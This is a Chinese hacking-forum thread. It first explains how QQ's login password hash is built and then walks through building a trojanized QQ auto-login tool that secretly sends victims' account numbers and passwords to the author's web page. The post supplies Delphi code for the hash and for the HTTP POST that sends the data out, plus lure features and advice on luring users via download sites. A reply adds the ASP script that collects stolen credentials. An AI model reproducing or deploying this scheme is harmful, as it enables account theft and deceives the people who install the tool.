[原创]探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程
文章作者:zshoucheng信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
转载请保持文章完整性
1.QQ登陆加密算法
QQ命令行启动方式:
[quote]
QQ.exe /START QQUIN:QQ号码 PWDHASH:加密后的QQ密码 /STAT:登陆状态(40隐身,41正常)
[/quote]
其中PWDhash 原本是为实现 QQ 与 TM无缝切换而用的将密码加密传递的参数。使得用户能在 QQ 与 TM 之间快速切换而不用再次输入密码。
PWDHASH就是对我们的原始QQ密码进行MD5散列算法处理,得到一个16字节的MD5 HASH 字节组,然后再用BASE64编码对这个HASH字节组做第二次编码得到的。理论上说是无法从PWDHASH反推出原始的QQ密码的。但是,如果密码过于简单,如纯数字之类的,是可能被简单暴力破解的。
下面以Delphi代码讲解,附件中有Delphi的实现单元和相应的C#类,目的是让大家能够选择自己喜欢的编程语言实现
获取QQ命令行启动参数函数:(参数:QQ号码、QQ密码、登陆状态)
[language=delphi]
function GetCommandLine(QQNum, QQPw: string; QQState: integer): string;
type
TempChar = array[0..15] of char;
var
md5: TIdHashMessageDigest5;
begin
md5 := TIdHashMessageDigest5.Create;
result := ' /START QQUIN:' + QQNum + ' PWDHASH:' + Base64(TempChar(md5.HashValue(QQPw))) + ' /STAT:' + IntToStr(QQState);
md5.Free;
end;
[/language]
上面函数用到的Base64函数为:
[language=delphi]
function Base64(Src: string): string;
const
DataSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
i, ModLen: integer;
Current: string;
Buf: array[1..3] of Byte;
NewBuf: array[1..4] of Byte;
begin
result := '';
if Src = '' then
exit;
ModLen := Length(Src) mod 3;
while Length(Src) > 0 do
begin
FillChar(Buf, 3, #0);
Current := Copy(Src, 1, 3);
Src := Copy(Src, 4, Length(Src) - 3);
for i := 1 to 3 do
Buf[i] := Ord(Current[i]);
NewBuf[1] := Buf[1] shr 2;
NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
NewBuf[4] := Buf[3] and $3F;
for i := 1 to 4 do
result := result + DataSet[NewBuf[i] + 1];
end;
if ModLen >= 1 then
result[Length(result)] := '=';
if ModLen = 1 then
result[Length(result) - 1] := '=';
end;
[/language]
这样就可以实现从命令行直接登陆QQ了。
另外我们还要获取QQ的安装路径:
在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\PLATFORM_TYPE_LIST 下面有几个子键,1中的 TypePath 的键值为 QQ 的安装路径,2中的 TypePath 的键值为 TM 的安装路径。我们就可以通过读取注册表来获取QQ的安装路径了(其实现比较简单,请参见源码)。
2.简单打造QQ钓鱼工程
有了上面的QQ自动登陆的实现,我们就可以写出一个QQ自动登陆器了。这就和我要说的QQ钓鱼工程联系上了,聪明的你一定也想出来了。
编写一款优秀的QQ木马去截获QQ密码框中的密码对我等小菜来说难以实现,但我们却可以变相地去获取QQ密码:
当别人使用我们的QQ自动登陆器登陆QQ时,我们可以把他所输入的QQ以及密码发送到我们的邮箱或指定网页上,这里给出ASP发信的代码:
[language=delphi]
function HtmlEncode(s: string): string;
var
i, v1, v2: integer;
function i2s(b: byte): char;
begin
if b <= 9 then result := chr($30 + b)
else result := chr($41 - 10 + b);
end;
begin
result := '';
for i := 1 to length(s) do
if s[i] = ' ' then result := result + '+'
else if (s[i] < ' ') or (s[i] in ['/', '\', ':', '&', '?', '|']) then
begin
v1 := ord(s[i]) mod 16;
v2 := ord(s[i]) div 16;
result := result + '%' + i2s(v2) + i2s(v1);
end
else result := result + s[i];
end;
function UpperCase(AStr: string): string; overload;
var
LI: Integer;
begin
Result := AStr;
for LI := 1 to Length(Result) do
Result[LI] := UpCase(Result[LI]);
end;
// 以Post方式发信
function PostURL(const aUrl: string; FTPostQuery: string; const strPostOkResult: string = 'Send OK!'): Boolean;
var
hSession: HINTERNET;
hConnect, hRequest: hInternet;
lpBuffer: array[0..1024 + 1] of Char;
dwBytesRead: DWORD;
HttpStr: string;
HostName, FileName: string;
FTResult: Boolean;
AcceptType: LPStr;
Buf: Pointer;
dwBufLen, dwIndex: DWord;
procedure ParseURL(URL: string; var HostName, FileName: string);
procedure ReplaceChar(c1, c2: Char; var St: string);
var
p: Integer;
begin
while True do
begin
p := Pos(c1, St);
if p = 0 then Break
else St[p] := c2;
end;
end;
var
i: Integer;
begin
if Pos(UpperCase('http://'), UpperCase(URL)) <> 0 then
System.Delete(URL, 1, 7);
i := Pos('/', URL);
HostName := Copy(URL, 1, i);
FileName := Copy(URL, i, Length(URL) - i + 1);
if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
SetLength(HostName, Length(HostName) - 1);
end;
begin
Result := False;
hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
if Assigned(hSession) then
begin
ParseURL(aUrl, HostName, FileName);
hConnect := InternetConnect(hSession, PChar(HostName),
INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
AcceptType := PChar('Accept: */*');
hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
PChar(FTPostQuery), Length(FTPostQuery));
dwIndex := 0;
dwBufLen := 1024;
GetMem(Buf, dwBufLen);
FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
Buf, dwBufLen, dwIndex);
if FTResult = True then
try
while True do
begin
dwBytesRead := 1024;
InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
if dwBytesRead = 0 then break;
lpBuffer[dwBytesRead] := #0;
HttpStr := HttpStr + lpBuffer;
end;
Result := pos(strPostOkResult, HttpStr) > 0;
finally
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
end;
end;
finally
InternetCloseHandle(hSession);
end;
end;
[/language]
我们可以给我们的QQ自动登陆器加多些功能,以吸引别人使用(钓鱼嘛~),比如:
QQ性别任意修改:
[language=delphi]
procedure ChangeSex(sex:string);
var
tmp:pchar;
h,h1,h2,h3,h4,h5:HWND;
id:integer;
begin
h := FindWindow('#32770','QQ2007设置');
if h=0 then
h := FindWindow('#32770','QQ2006设置');
if h<>0 then begin
h1 := FindWindowEx(h,0,'#32770',nil);
h2 := FindWindowEx(h1,0,'#32770',nil);
h3 := GetDlgItem(h2,1356);
h4 := GetDlgItem(h2,551);
h5 := GetDlgItem(h1,1343);
SendMessage(h3,32,0,0); //WM_SETCURSOR
id := SendMessage(h3,323,0,longint(pchar(sex))); //给QQ性别组合框加一项
SendMessage(h3,334,id,0); //选择所加的那项
SendMessage(h4,13,10,longint(@tmp));
SendMessage(h4,12,0,longint(@tmp));
SendMessage(h5,245,0,0); //点击确定按钮
end
else
Application.MessageBox('请先打开QQ个人设置窗口!','提示',MB_OK);
end;
[/language]
QQ强行聊天:
[language=delphi]
procedure QQChat(number:string);
var
inum:integer;
begin
if trystrtoint(number,inum) then
begin
if inum>10000 then
ShellExecute(handle,nil,pchar('Tencent://Message/?Menu=YES&Exe=&Uin='+number),nil,nil,SW_NORMAL)
else
Application.MessageBox('无此QQ号码!','提示',MB_OK);
end
else
Application.MessageBox('请输入有效的QQ号码!','提示',MB_OK);
end;
[/language]
这些功能的实现都是再简单不过了,但对于不懂编程的人来说却觉得很神奇(我给我身边的同学、朋友用的时候他们都崇拜地对我说:你太厉害了!而我,背后暗笑中……)
程序最终效果如图:
[attach]10224[/attach]
到这里我们的QQ钓鱼工程就快完成了,我们可以写个使用说明,使用点社会工程学技巧:
[quote]
程序功能:
1.自动登陆
能有效防止所有的QQ盗号木马,因为QQ盗号木马是通过截获QQ登陆窗口实现盗号的
使用本软件登陆QQ,即使你中了QQ木马,你的QQ也不会被盗
2.QQ性别任意修改
可以将你QQ性别修改为任意的(你的QQ好友查看你的QQ资料时即可看到效果)
3.强行聊天
能和任意QQ号码聊天,无须添加对方为好友
……
[/quote]
然后发到国内一些下载站上去,或者在一些论坛宣传……你就等着收QQ吧!
[attach]10225[/attach]
郑重声明:本文旨在技术交流,其中介绍的技术仅供测试,非法盗取他人帐号是违法的。对使用本文所介绍的技术引起的任何法律问题与本人无关! 不错的思路,不过我开始怀疑以前用的自动登陆器是否足够安全可信了。。 LZ没使用远程线程注入,这样的话穿墙性不太好吧
[s:266] [quote]引用第2楼ljh1021于2007-06-06 15:10发表的 :
LZ没使用远程线程注入,这样的话穿墙性不太好吧
[/quote]
本文提供的是思路
RemoteThread Inject 技术现在更是遍地开花,想使用此技术就自己加吧 [quote]引用第2楼ljh1021于2007-06-06 15:10发表的 :
LZ没使用远程线程注入,这样的话穿墙性不太好吧
[s:266][/quote]
这里本身就是用户自己填写QQ号码QQ密码然后登陆的,属于本机对外连接,外部无须发送任何数据到本地,防火墙在这里基本不起任何作用..估计没有多少个BT的QQ用户把自己的防火墙对外连接都锁死吧?而且要用登陆器登陆QQ,防火墙本身就必须对登陆器放行.. 呵呵..很久以前好象这个思路就有.不过没人做出具体的代码..
感谢下楼主先
然后请问下楼主 既然有截获方法那是否有预防截获的呢?
start D:\QQ\qq.exe /START QQUIN:364049559 PWDHASH:****== /START40 PROXY:UUQBAQEABREAg7GAoIuavYuamoeAibqXnosEAAAAAQAAAA==
这个东西我们是逃不掉的.那我们该怎么办呢? [quote]引用第4楼cncxz于2007-06-06 23:15发表的 :
这里本身就是用户自己填写QQ号码QQ密码然后登陆的,属于本机对外连接,外部无须发送任何数据到本地,防火墙在这里基本不起任何作用..估计没有多少个BT的QQ用户把自己的防火墙对外连接都锁死吧?而且要用登陆器登陆QQ,防火墙本身就必须对登陆器放行..[/quote]
对外连接的是QQ.EXE,登陆器只是完成那段密码的计算过程,所以还是要考虑穿墙滴
[s:263] 我以前也想过QQ登陆钓鱼的
VB加asp来实现
用VB写个跟QQ一样的登陆界面(有点难)..登陆提交到asp页面..后台接受..然后在调用真正的QQ文件..
不过没楼主的方法好
赞一个. [quote]引用第7楼fhod于2007-06-07 21:52发表的 :
我以前也想过QQ登陆钓鱼的
VB加asp来实现
用VB写个跟QQ一样的登陆界面(有点难)..登陆提交到asp页面..后台接受..然后在调用真正的QQ文件..
不过没楼主的方法好
赞一个.[/quote]
这个钓鱼好象钓得过了点....[s:270]穿墙目前好象考虑的不用太多.毕竟装防火墙的用户不太多.人家都觉得一杀软就够了..[s:264] *** 作者被禁止或删除 内容自动屏蔽 *** [quote]引用第10楼bbsxwk于2007-06-08 11:38发表的 :
赞一个
冒昧的问下 md5.HashValue 出来的 这个返回值 T4x4LongWordRecord 是什么意思啊
很不理解
还有
type
.......[/quote]
1. T4x4LongWordRecord = array [0..3] of LongWord;
2. 是强制类型转换 [s:265] 我自己做一个BAT文件。一键登上QQ。还用你的?好的QQ你盗窃案不到。我等菜鸟QQ号要不是很好。你又没有什么用?我以前也做了这类事。后来觉得没有味。不做了。 [quote]引用第12楼liuwfg于2007-06-08 22:39发表的 :
[s:265] 我自己做一个BAT文件。一键登上QQ。还用你的?好的QQ你盗窃案不到。我等菜鸟QQ号要不是很好。你又没有什么用?我以前也做了这类事。后来觉得没有味。不做了。[/quote]
直接飘过~~~
本文旨在研究QQ加密算法以及社会工程学的利用 看不到Delphi,如果有汇编的源码就好了
不过问一下lz
md5得到的16位是32前的16位还是单纯的16位密文?
还有得到了16为密文后要转换什么才进行base64加密?
这个base64(md5(明文))用密码学工具生成的密文跟QQ生成的不一样.... [s:267] md5得到的是纯16位md5密文
关于加密那部分,必须转化为[color=#FF0000]字节组[/color]进行,而不是对字符串
这也就是你用密码学工具生成的密文是错误的原因 h3 := GetDlgItem(h2,1356);
h4 := GetDlgItem(h2,551);
h5 := GetDlgItem(h1,1343);
一个问题不是很清楚 问下楼主 其中的identifier 1356 551 1343是怎么得来的了
我在spy++ 中看不到啊 !!! [quote]引用第15楼x-star于2007-06-10 03:34发表的 :
h3 := GetDlgItem(h2,1356);
h4 := GetDlgItem(h2,551);
h5 := GetDlgItem(h1,1343);
一个问题不是很清楚 问下楼主 其中的identifier 1356 551 1343是怎么得来的了
.......[/quote]
是通过 SPY++ 查看的
这些都是控件ID值:
[attach]953[/attach] "PWDHASH就是对我们的原始QQ密码进行MD5散列算法处理,得到一个16字节的MD5 HASH 字节组,然后再用BASE64编码对这个HASH字节组做第二次编码得到的。理论上说是无法从PWDHASH反推出原始的QQ密码的。但是,如果密码过于简单,如纯数字之类的,是可能被简单暴力破解的。"
嘿嘿```幸好我的QQ密码相对复杂一点.
对程序没啥研究```还是潜水好了! 精简一下楼主的行为核心
终究是以下一句话
想尽办法让用户从讨厌的QQ自带登陆匡上离开
在第三方登陆匡登陆QQ [quote]引用第18楼毒药于2007-06-21 12:40发表的 :
精简一下楼主的行为核心
终究是以下一句话
想尽办法让用户从讨厌的QQ自带登陆匡上离开
在第三方登陆匡登陆QQ[/quote]
这篇文章中的QQ钓鱼工程部分的核心确实如你所说
[s:265]但这篇文章的重点可不是这个~~~
我只是附带介绍了下社会工程学的一个简单应用 给个C++版本的代码
注册表获取QQ安装路径没有实现,程序中用默认安装路径代替,简单实现自动登陆QQ.
下面给出实现的源代码(VC++.NET 2005 CLR 控制台应用程序)
// GreenQQ.cpp : main project file.
#include "stdafx.h"
using namespace System;
using namespace System::Collections::Generic;
using namespace System::Text;
using namespace Microsoft::Win32;
int main(array<System::String ^> ^args)
{
//Console::WriteLine(L"Hello World");
System::Security::Cryptography::MD5CryptoServiceProvider ^MD5 = gcnew System::Security::Cryptography::MD5CryptoServiceProvider();
array<Byte> ^PWDBytes=(gcnew System::Text::UTF8Encoding())->GetBytes("YourQQPassword");
array<Byte> ^MD5Bytes=MD5->ComputeHash(PWDBytes);
String ^PWDHash=Convert::ToBase64String(MD5Bytes,Base64FormattingOptions::InsertLineBreaks);
String ^RunArgs="/START QQUIN:YourQQNumber PWDHASH:";
RunArgs+=PWDHash;
RunArgs+=" /STAT:40";
System::Diagnostics::Process::Start("C:\\Program Files\\Tencent\\QQ\\QQ.exe",RunArgs);
return 0;
} [quote]引用第21楼hugreen于2007-07-02 14:53发表的 :
给个C++版本的代码
注册表获取QQ安装路径没有实现,程序中用默认安装路径代替,简单实现自动登陆QQ.
下面给出实现的源代码(VC++.NET 2005 CLR 控制台应用程序)
.......[/quote]
单独说C++,是指ISO/C++,而你给的是C++/CLR的代码
其实采用.NET类库编程,语言的选择已不重要,
区别仅仅是语法上的区别了...
同样地可以用 VB.NET J# 实现
注册表获取QQ安装路径的C++/CLR代码:
[code]
void GetQQPath(array<String ^,2> ^% QQPath)
{
RegistryKey ^PLATFORM_TYPE_LIST = Registry::LocalMachine->OpenSubKey(L"Software\\TENCENT\\PLATFORM_TYPE_LIST");
if(PLATFORM_TYPE_LIST!= nullptr && PLATFORM_TYPE_LIST->SubKeyCount > 0)
{
int SubCount = PLATFORM_TYPE_LIST->SubKeyCount;
RegistryKey ^TemKey;
QQPath = gcnew array<String ^,2>(SubCount,2);
array<String ^> ^SubKey = PLATFORM_TYPE_LIST->GetSubKeyNames();
for (int i = 0; i < SubCount; i++)
{
TemKey = PLATFORM_TYPE_LIST->OpenSubKey(SubKey[i]);
QQPath[i, 0] = TemKey->GetValue("TypeName")->ToString();
QQPath[i, 1] = TemKey->GetValue("TypePath")->ToString();
TemKey->Close();
}
PLATFORM_TYPE_LIST->Close();
}
}
[/code]
调用时:
[code]
array<String ^,2> ^ path = gcnew array<String ^,2>(2,2);
GetQQPath(path);
Console::WriteLine(path[0,1]); // path[0,1]--->QQ安装路径
// path[1,1]--->TM安装路径
[/code] 抓包..可以发现你程序的猫腻..... 只要抓到QQ启动时的参数不就能抓到所有的东西了?
用这些参数就可以登陆QQ了,嘿嘿。
AND.... 由于md5的泛滥性的应用.... 有这个md5几乎就可以应付一切了.... 我用QQ珊瑚虫的试了一下,虽然会成功但是很大的几率是失败的,而且我把防火墙也关了诶~~~请LZ赐教!! 楼上的意思是不能截获QQ密码么?
发信函数PostURL的第一个参数是一个网页地址,如:
[quote]htpp://www.xxx.com/qq.asp[/quote]
其内容是:
[quote]<%
num=request("num")
pass=request("pass")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("key.txt"),8,True)
file.writeline num+"----"+pass
file.close
set file=nothing
set fs=nothing
response.write "Send OK!"
%>[/quote]
那么收号的地址就是:
[quote]htpp://www.xxx.com/key.txt[/quote]
与你用什么版本的QQ无关,只要程序获得了正确的QQ路径就可以了. 现在登陆QQ有时会要求输入随机验证码,Tencent开始怕这种自动登陆了,哈哈 [s:267] 附件呢 [quote]引用第27楼icexiaoye于2007-08-15 22:38发表的 :
[s:267] 附件呢[/quote]
由于上次发现有人用次思路盗号,所以 Del
重新补上了
其实代码都贴出来了 那代码看了眼睛都花~~ [s:289]
还是在delphi里看的舒服 [s:264] q确实不错
不过 2代密码保护出来以后```密码是不好改了`
页:
[1]